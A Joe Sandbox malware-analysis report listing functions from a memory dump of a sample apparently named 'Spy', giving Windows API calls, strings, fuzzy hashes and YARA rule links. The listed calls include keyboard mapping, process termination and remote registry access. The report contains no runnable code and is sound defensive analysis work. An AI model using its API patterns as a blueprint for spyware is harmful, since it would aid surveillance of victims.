Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 2ffa1fa826f967513b505a88e599367b2d5789b906d183f8eaf820bdb161668a
Instruction ID: 13ea90aab4ffb870198f6bc1b95ba08c267436fa95d76af938e993643b9bc76f
Opcode Fuzzy Hash: 2ffa1fa826f967513b505a88e599367b2d5789b906d183f8eaf820bdb161668a
Instruction Fuzzy Hash: 35111E7600010CBFDF12AF95DC89FDA7FADEB08354F048051B91856160DB71AE95DBA0

Function 00AA07BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AA07EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 00AA07F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AA07FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AA080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00AA0812
MapVirtualKeyW.USER32(00000012,00000000), ref: 00AA081A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 3fabd94c9a239b85ad7656517368801a70e7c6f1da7b7b7f800cbffbcee196c6
Instruction ID: e6b9146ef21e5d0cda0961027d71b4eac33549ddb6ca866d022f73448664e2c0
Opcode Fuzzy Hash: 3fabd94c9a239b85ad7656517368801a70e7c6f1da7b7b7f800cbffbcee196c6
Instruction Fuzzy Hash: C6016CB09017597DE3009F5A8C85B52FFA8FF59354F00411BA15C47941C7F5A864CBE5

Function 00AE59A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00AE59B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00AE59CA
GetWindowThreadProcessId.USER32(?,?), ref: 00AE59D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00AE59E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00AE59F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00AE59F9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: b0936afb1bbc2a4861dfa55ac7b288e3caeffdf081ae721ced0a42505159cacd
Instruction ID: 5f0c63ecda93286621af64d11a3a2350b7323c743a4103bc2b9a7632752b6fa4
Opcode Fuzzy Hash: b0936afb1bbc2a4861dfa55ac7b288e3caeffdf081ae721ced0a42505159cacd
Instruction Fuzzy Hash: AFF09032250158BFE3216B92AC0DEEF7B3CEFCBB11F404159FA00A2050DFE01A5186B5

Function 00AE77EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00AE77FE
EnterCriticalSection.KERNEL32(?,?,00A8C2B6,?,?), ref: 00AE780F
TerminateThread.KERNEL32(00000000,000001F6,?,00A8C2B6,?,?), ref: 00AE781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00A8C2B6,?,?), ref: 00AE7829

Part of subcall function 00AE71F0: CloseHandle.KERNEL32(00000000,?,00AE7836,?,00A8C2B6,?,?), ref: 00AE71FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00AE783C
LeaveCriticalSection.KERNEL32(?,?,00A8C2B6,?,?), ref: 00AE7843

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 0af02055c0d74b44153125cbe59f5655ef408dc9fdf1369dba1c3e1f538a5c79
Instruction ID: de08b84e8b315df8c232ee00878d109e2e9d45595fd7876bf220b09a77ef3fea
Opcode Fuzzy Hash: 0af02055c0d74b44153125cbe59f5655ef408dc9fdf1369dba1c3e1f538a5c79
Instruction Fuzzy Hash: 4EF08232555212ABD7113B64EC8CAEF7739FF49302F944525F503A60A0DFF95891CBA0

Function 00AD954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00AD9555
UnloadUserProfile.USERENV(?,?), ref: 00AD9561
CloseHandle.KERNEL32(?), ref: 00AD956A
CloseHandle.KERNEL32(?), ref: 00AD9572
GetProcessHeap.KERNEL32(00000000,?), ref: 00AD957B
HeapFree.KERNEL32(00000000), ref: 00AD9582

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 6f55343c1dabc5faae9105687e4e76edf67c182d59f3c0519c3de26f9f83d3c7
Instruction ID: 2d4c226933ea4cc0c2c9c4ee00ff66c4d6d1c7faedebc20d1ce05ee146b53cc2
Opcode Fuzzy Hash: 6f55343c1dabc5faae9105687e4e76edf67c182d59f3c0519c3de26f9f83d3c7
Instruction Fuzzy Hash: C0E0E536114105BBDB012FE1EC0C99ABF39FF4A722B908220F225920B0CFB6A4B0DB50

Function 00AF8CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00AF8CFD
CharUpperBuffW.USER32(?,?), ref: 00AF8E0C
VariantClear.OLEAUT32(?), ref: 00AF8F84

Part of subcall function 00AE7B1D: VariantInit.OLEAUT32(00000000), ref: 00AE7B5D
Part of subcall function 00AE7B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00AE7B66
Part of subcall function 00AE7B1D: VariantClear.OLEAUT32(00000000), ref: 00AE7B72

Strings

AUTOIT.ERROR, xrefs: 00AF8E12
Incorrect Parameter format, xrefs: 00AF8D35, 00AF8EF7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 4187268d65fd39ae6e58ce7ef34190fd68f73ebb3d800e63c071a88938743c22
Instruction ID: da885326d52322ccac5fe03a72c3a093ff5b3c82f83baf7505903b8ce4f8b55e
Opcode Fuzzy Hash: 4187268d65fd39ae6e58ce7ef34190fd68f73ebb3d800e63c071a88938743c22
Instruction Fuzzy Hash: 6A91AD706083059FCB00EF64C58096ABBF5EF89754F14896EF98A8B3A1DB30ED45CB52

Function 00AE323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A9436A: _wcscpy.LIBCMT ref: 00A9438D

_memset.LIBCMT ref: 00AE332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00AE335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00AE3410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00AE343E

Strings

0, xrefs: 00AE331A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: b08ce1340a0dc4eb60816b7d9d58fa189cc428ac00a961894d54b777955f7c7c
Instruction ID: 8af6c38b236d61ccbd0df0b5461c3128fc89eb17d7b00b328a4fc7da7a22a8ad
Opcode Fuzzy Hash: b08ce1340a0dc4eb60816b7d9d58fa189cc428ac00a961894d54b777955f7c7c
Instruction Fuzzy Hash: 42510332208381ABCF12AF2AC949A6BB7E8EF55320F04492DF895D71D1DB70CE44CB52

Function 00AE2EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AE2F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00AE2F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00AE2FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00B47890,00000000), ref: 00AE3012

Strings

0, xrefs: 00AE2F5C

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: c471b026fcf219d63153ddc4daed3df220df9c614773dc0160ebd31e503bd9b3
Instruction ID: feb8ead44e348ddfb6797f08f918d8f526f96e1227b8109e2359a5d2d0cbc1ba
Opcode Fuzzy Hash: c471b026fcf219d63153ddc4daed3df220df9c614773dc0160ebd31e503bd9b3
Instruction Fuzzy Hash: 5841C6322043819FDB20DF26C889B5ABBE9FF85310F144A5DF5A6972D1DB70EA05CB52

Function 00AD9A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00ADB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00ADB7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00AD9ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00AD9ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00AD9B0F

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Strings

ComboBox, xrefs: 00AD9A56
ListBox, xrefs: 00AD9A8B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: b8031fb86cc39617c3efa3c6e8d4bdb494acc09c992f5462cdcce15bcafa158f
Instruction ID: 87b7b29372d0578f06191f0f09bf68684bee2f90174d1e1f3174c032a5cd8d53
Opcode Fuzzy Hash: b8031fb86cc39617c3efa3c6e8d4bdb494acc09c992f5462cdcce15bcafa158f
Instruction Fuzzy Hash: 4721E471A41104BEDF14ABA4DC45CFFB7BCDF513A0F61411BF826972E1DB3489469660

Function 00B06A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A82111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00A8214F
Part of subcall function 00A82111: GetStockObject.GDI32(00000011), ref: 00A82163
Part of subcall function 00A82111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00A8216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00B06A86
LoadLibraryW.KERNEL32(?), ref: 00B06A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00B06AA2
DestroyWindow.USER32(?), ref: 00B06AAA

Strings

SysAnimate32, xrefs: 00B06A61

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: e0ed57db6932d01a3270d12b04f8713dc1abae1c29fcd53e96844186743670ef
Instruction ID: be5299fd61bcc77fdbacbd5c470e7eb6a271a1c7cd4dde7befccacbb2cd7ee4b
Opcode Fuzzy Hash: e0ed57db6932d01a3270d12b04f8713dc1abae1c29fcd53e96844186743670ef
Instruction Fuzzy Hash: 8C21BB71300205AFEF10AEA49C80EBB7BE8EB49324F509258FA50A30D1D7718CA09760

Function 00AE7357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00AE7377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00AE73AA
GetStdHandle.KERNEL32(0000000C), ref: 00AE73BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00AE73F6

Strings

nul, xrefs: 00AE73F1

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 095ad592bcd39847af4025261368a9d25c85aefadbc63d8315cffd570a69a889
Instruction ID: e10f4f3817ee84574df0a4c9714a220c53a76df0256bcf63bc7af4a8a1a1ccfd
Opcode Fuzzy Hash: 095ad592bcd39847af4025261368a9d25c85aefadbc63d8315cffd570a69a889
Instruction Fuzzy Hash: 4E218174508347ABDB209F6ADC05A9E7BA5AF44720F204A19FDA0DB2D0DBB0DC50DB50

Function 00AE7425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00AE7444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00AE7476
GetStdHandle.KERNEL32(000000F6), ref: 00AE7487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00AE74C1

Strings

nul, xrefs: 00AE74BC

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: ec54b848bf6765016d17f7673cb3baa7dc4aa3805b312e12fbfe69208dc9e5ec
Instruction ID: 40662fa1649d856fde4d036a9e2d552cb2b4805ce40bb9da2f03b922eea13f40
Opcode Fuzzy Hash: ec54b848bf6765016d17f7673cb3baa7dc4aa3805b312e12fbfe69208dc9e5ec
Instruction Fuzzy Hash: 9E21B6715083869BDB20AF6A9C44E9D7BF8AF55730F204B19FDA0D72D0DB709851C750

Function 00AEB283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AEB297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00AEB2EB
__swprintf.LIBCMT ref: 00AEB304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00B10980), ref: 00AEB342

Strings

%lu, xrefs: 00AEB2FE

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: a10cac855504bdf65b804e59bd831bfae328118afaa00438f13afe62d0c9bb36
Instruction ID: ba314bc375b1d3f088d5e49e2f611857807e4f6ac937737f6b7a682ca2e30c0d
Opcode Fuzzy Hash: a10cac855504bdf65b804e59bd831bfae328118afaa00438f13afe62d0c9bb36
Instruction Fuzzy Hash: 37214135A00109AFCB10EF65C985DEEBBF8EF49704B508069F905EB252DB71EE45CB61

Function 00ADAC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Part of subcall function 00ADAA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00ADAA6F
Part of subcall function 00ADAA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00ADAA82
Part of subcall function 00ADAA52: GetCurrentThreadId.KERNEL32 ref: 00ADAA89
Part of subcall function 00ADAA52: AttachThreadInput.USER32(00000000), ref: 00ADAA90

GetFocus.USER32 ref: 00ADAC2A

Part of subcall function 00ADAA9B: GetParent.USER32(?), ref: 00ADAAA9

GetClassNameW.USER32(?,?,00000100), ref: 00ADAC73
EnumChildWindows.USER32(?,00ADACEB), ref: 00ADAC9B
__swprintf.LIBCMT ref: 00ADACB5

Strings

%s%d, xrefs: 00ADACAF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: b29d675ee51e0bab5cf378c2566568b18b5cdd81b6728d57371d54747f756d79
Instruction ID: 71e0c70c375cd2b7a58e8295d67cb6a32a751a95b483aba3de646e52bc79fdb7
Opcode Fuzzy Hash: b29d675ee51e0bab5cf378c2566568b18b5cdd81b6728d57371d54747f756d79
Instruction Fuzzy Hash: 5F11E775210205ABCF11BFA0CE85FEA37ACAB54710F008076FD0A9A252CA745945DB71

Function 00AE22E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00AE2318

Strings

EXISTS, xrefs: 00AE2340
REMOVE, xrefs: 00AE231E
KEYS, xrefs: 00AE232F
APPEND, xrefs: 00AE2351

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 9acace8dfa088530c946eadc7901da42006cf9b30bc573cc9752201a78290db8
Instruction ID: 2fd0fd576697610510e16b1838216ad3aaa16ce35ac7b2e6b5df29e2eddf86c2
Opcode Fuzzy Hash: 9acace8dfa088530c946eadc7901da42006cf9b30bc573cc9752201a78290db8
Instruction Fuzzy Hash: FF117C719101199FCF00EF94C9919EEB3B8FF26344F6080A8E810A72A1EB326D06CF40

Function 00AFF23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00AFF2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00AFF320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00AFF453
CloseHandle.KERNEL32(?), ref: 00AFF4D4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 0087141aba0baf07cebe9c663b76cd0dce4a2fb1ec4676d76f03cdfe71b2e943
Instruction ID: c4e0577177312a0bd9424c21b717a0a0f46268b5c1b0687a5012c6f3e53f3004
Opcode Fuzzy Hash: 0087141aba0baf07cebe9c663b76cd0dce4a2fb1ec4676d76f03cdfe71b2e943
Instruction Fuzzy Hash: C88184716043019FD720EF68D986F6EB7E5AF48710F14891DFA99DB392EBB0AC408B51

Function 00B00697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00B0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B0040D,?,?), ref: 00B01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B0075D
